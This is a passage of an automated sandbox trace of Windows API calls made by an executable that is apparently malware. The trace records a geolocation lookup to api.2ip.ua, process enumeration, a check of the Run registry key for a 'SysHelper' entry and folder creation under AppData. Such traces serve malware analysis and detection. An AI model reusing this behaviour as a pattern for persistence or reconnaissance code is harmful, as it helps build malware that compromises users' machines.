06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x87\xe5\x6f\xc7\x14\xdc\x18", lpUsedDefaultChar=0x0) returned 256 [0036.447] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0036.447] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x8, Size=0x800) returned 0x6cc6d0 [0036.447] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x4121fd [0036.447] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc420) returned 0x80 [0036.447] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc420) returned 0x80 [0036.448] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc420) returned 0x80 [0036.448] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc420) returned 0x80 [0036.448] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x110) returned 0x6cced8 [0036.448] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc420) returned 0x80 [0036.448] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x10) returned 0x6ca490 [0036.448] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc420) returned 0x80 [0036.449] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc420) returned 0x80 [0036.449] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc420) returned 0x80 [0036.449] RtlSizeHeap (HeapHandle=0x620000, Flags=0x0, MemoryPointer=0x6cc420) returned 0x80 [0036.450] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0037.482] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x40) returned 0x6c0a70 [0037.482] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0044.747] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x189ed8, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18c6d8 | out: lpBuffer=0x189ed8*, lpdwNumberOfBytesRead=0x18c6d8*=0x1d1) returned 1 [0044.748] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0044.749] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0044.749] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x20) returned 0x6d8f90 [0044.749] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x1e0) returned 0x313fda0 [0044.749] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x313fda0 | out: hHeap=0x620000) returned 1 [0044.749] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6d8f90 | out: hHeap=0x620000) returned 1 [0044.749] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x6c0a70 | out: hHeap=0x620000) returned 1 [0044.749] GetCurrentProcess () returned 0xffffffff [0044.749] GetLastError () returned 0x2 [0044.749] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0044.749] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x10) returned 0x6fc340 [0044.749] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x110) returned 0x30f4e40 [0044.749] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x800) returned 0x313c6d8 [0044.749] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x313c6d8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxkgxn.exe")) returned 0x30 [0044.749] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0044.749] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x810) returned 0x313cee0 [0044.749] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" " [0044.750] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" ", pNumArgs=0x18c7b8 | out: pNumArgs=0x18c7b8) returned 0x6feeb0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" [0044.750] lstrcpyW (in: lpString1=0x18d468, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" [0044.750] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" " [0044.750] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" ", pNumArgs=0x18c754 | out: pNumArgs=0x18c754) returned 0x6feeb0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" [0044.750] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe") returned="zxkgxn.exe" [0044.750] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0044.751] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0044.751] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0044.751] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0044.751] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0044.782] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0044.782] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0044.783] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0044.783] EnumProcesses (in: lpidProcess=0x181f50, cb=0xa000, lpcbNeeded=0x18c760 | out: lpidProcess=0x181f50, lpcbNeeded=0x18c760) returned 1 [0044.785] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0044.785] CloseHandle (hObject=0x0) returned 0 [0044.785] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0044.785] CloseHandle (hObject=0x0) returned 0 [0044.785] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0044.786] CloseHandle (hObject=0x0) returned 0 [0044.786] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0044.787] CloseHandle (hObject=0x0) returned 0 [0044.787] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0044.787] CloseHandle (hObject=0x0) returned 0 [0044.787] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0044.787] CloseHandle (hObject=0x0) returned 0 [0044.787] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0044.787] CloseHandle (hObject=0x0) returned 0 [0044.787] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5b8 [0044.787] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0044.787] CloseHandle (hObject=0x5b8) returned 1 [0044.787] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5b8 [0044.787] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0044.787] CloseHandle (hObject=0x5b8) returned 1 [0044.787] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0044.787] CloseHandle (hObject=0x0) returned 0 [0044.787] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5b8 [0044.787] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0044.787] CloseHandle (hObject=0x5b8) returned 1 [0044.788] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0044.788] CloseHandle (hObject=0x0) returned 0 [0044.788] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x5b8 [0044.788] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0044.788] CloseHandle (hObject=0x5b8) returned 1 [0044.788] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x130) returned 0x0 [0044.788] CloseHandle (hObject=0x0) returned 0 [0044.788] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x78c) returned 0x5b8 [0044.788] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.789] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x950000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="mechanicalalicedevelopers.exe") returned 0x1d [0044.789] CloseHandle (hObject=0x5b8) returned 1 [0044.789] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc0) returned 0x5b8 [0044.789] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.790] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xdd0000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="operatingarrowjackets.exe") returned 0x19 [0044.790] CloseHandle (hObject=0x5b8) returned 1 [0044.790] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d8) returned 0x5b8 [0044.790] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.791] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1110000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="spine.exe") returned 0x9 [0044.792] CloseHandle (hObject=0x5b8) returned 1 [0044.792] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x5b8 [0044.792] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.793] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x230000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="pump_wrapped_trustee.exe") returned 0x18 [0044.793] CloseHandle (hObject=0x5b8) returned 1 [0044.793] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x618) returned 0x5b8 [0044.793] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.794] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x290000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="wendy.exe") returned 0x9 [0044.794] CloseHandle (hObject=0x5b8) returned 1 [0044.794] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x344) returned 0x5b8 [0044.794] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.795] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xa60000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="editorial.exe") returned 0xd [0044.795] CloseHandle (hObject=0x5b8) returned 1 [0044.795] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x244) returned 0x5b8 [0044.795] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.796] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x11b0000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="weekend.exe") returned 0xb [0044.796] CloseHandle (hObject=0x5b8) returned 1 [0044.796] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2ac) returned 0x5b8 [0044.796] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.797] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xe0000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="assessment_rocky.exe") returned 0x14 [0044.798] CloseHandle (hObject=0x5b8) returned 1 [0044.798] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x314) returned 0x5b8 [0044.798] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.799] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x10000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="consequences.exe") returned 0x10 [0044.799] CloseHandle (hObject=0x5b8) returned 1 [0044.799] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0x5b8 [0044.799] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.800] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xb60000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="adoption_hits.exe") returned 0x11 [0044.800] CloseHandle (hObject=0x5b8) returned 1 [0044.800] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x274) returned 0x5b8 [0044.800] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.801] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x90000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="iron.exe") returned 0x8 [0044.801] CloseHandle (hObject=0x5b8) returned 1 [0044.801] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x688) returned 0x5b8 [0044.801] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.802] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xa10000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="chemistry_poker_supports.exe") returned 0x1c [0044.802] CloseHandle (hObject=0x5b8) returned 1 [0044.802] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7fc) returned 0x5b8 [0044.802] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.803] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x840000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="ronald radiation.exe") returned 0x14 [0044.804] CloseHandle (hObject=0x5b8) returned 1 [0044.804] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a8) returned 0x5b8 [0044.804] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.805] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x360000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="sustainable alignment charged.exe") returned 0x21 [0044.805] CloseHandle (hObject=0x5b8) returned 1 [0044.805] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b4) returned 0x5b8 [0044.805] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.806] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x180000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="colon.exe") returned 0x9 [0044.806] CloseHandle (hObject=0x5b8) returned 1 [0044.806] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x5b8 [0044.806] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.807] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x8c0000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="lg challenge tackle.exe") returned 0x17 [0044.807] CloseHandle (hObject=0x5b8) returned 1 [0044.807] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x488) returned 0x5b8 [0044.807] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.808] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x10a0000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="freelance.exe") returned 0xd [0044.809] CloseHandle (hObject=0x5b8) returned 1 [0044.809] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x53c) returned 0x5b8 [0044.809] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.810] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xc60000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="rooms-larger-grocery.exe") returned 0x18 [0044.810] CloseHandle (hObject=0x5b8) returned 1 [0044.810] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x660) returned 0x5b8 [0044.810] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.811] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1110000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="serial_sacrifice_resolve.exe") returned 0x1c [0044.811] CloseHandle (hObject=0x5b8) returned 1 [0044.811] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x240) returned 0x5b8 [0044.811] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.812] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xdf0000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="potatoes penalties honduras.exe") returned 0x1f [0044.812] CloseHandle (hObject=0x5b8) returned 1 [0044.812] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6b4) returned 0x0 [0044.812] CloseHandle (hObject=0x0) returned 0 [0044.812] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa14) returned 0x5b8 [0044.812] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 1 [0044.813] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x400000, lpBaseName=0x18bf50, nSize=0x400 | out: lpBaseName="zxkgxn.exe") returned 0xa [0044.814] CloseHandle (hObject=0x5b8) returned 1 [0044.814] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa24) returned 0x5b8 [0044.814] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18c76c, cb=0x4, lpcbNeeded=0x18c750 | out: lphModule=0x18c76c, lpcbNeeded=0x18c750) returned 0 [0044.814] CloseHandle (hObject=0x5b8) returned 1 [0044.814] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x28) returned 0x6d44b8 [0044.814] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x705ed8 [0044.814] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x312fb48 [0044.814] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x31593b0 [0044.814] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x313b7f8 [0044.814] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x706a08 [0044.814] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x706c70 [0044.814] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x313d6f8 [0044.814] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x313d960 [0044.814] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x313dbc8 [0044.814] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x25c) returned 0x313de30 [0044.814] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18c750 | out: phkResult=0x18c750*=0x5b8) returned 0x0 [0044.814] RegQueryValueExW (in: hKey=0x5b8, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18c74c, lpData=0x18ae78, lpcbData=0x18c730*=0x400 | out: lpType=0x18c74c*=0x0, lpData=0x18ae78*=0x0, lpcbData=0x18c730*=0x400) returned 0x2 [0044.814] RegCloseKey (hKey=0x5b8) returned 0x0 [0044.814] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0044.815] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0044.815] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" " [0044.815] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe\" ", pNumArgs=0x18c714 | out: pNumArgs=0x18c714) returned 0x31201a0*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" [0044.815] lstrcpyW (in: lpString1=0x18a678, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe" [0044.815] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxkgxn.exe") returned="zxkgxn.exe" [0044.815] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18be78 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0044.815] UuidCreate (in: Uuid=0x18c6c4 | out: Uuid=0x18c6c4) returned 0x0 [0044.815] UuidToStringW (in: Uuid=0x18c6c4, StringUuid=0x18c758 | out: StringUuid=0x18c758) returned 0x0 [0044.815] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x50) returned 0x311f150 [0044.815] RpcMgmtStatsVectorFree (in: StatsVector=0x18c758 | out: StatsVector=0x18c758) returned 0x0 [0044.815] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36") returned 1 [0044.815] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\23aa8f91-8e4c-4e01-8a6f-bd3657c0ac36"), lpSecurityAttributes=0x0) returned 1 [0044.816] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xb0) returned 0x30de210 [0044.816] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xb0) returned 0x30de2c8 [0044.816] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS 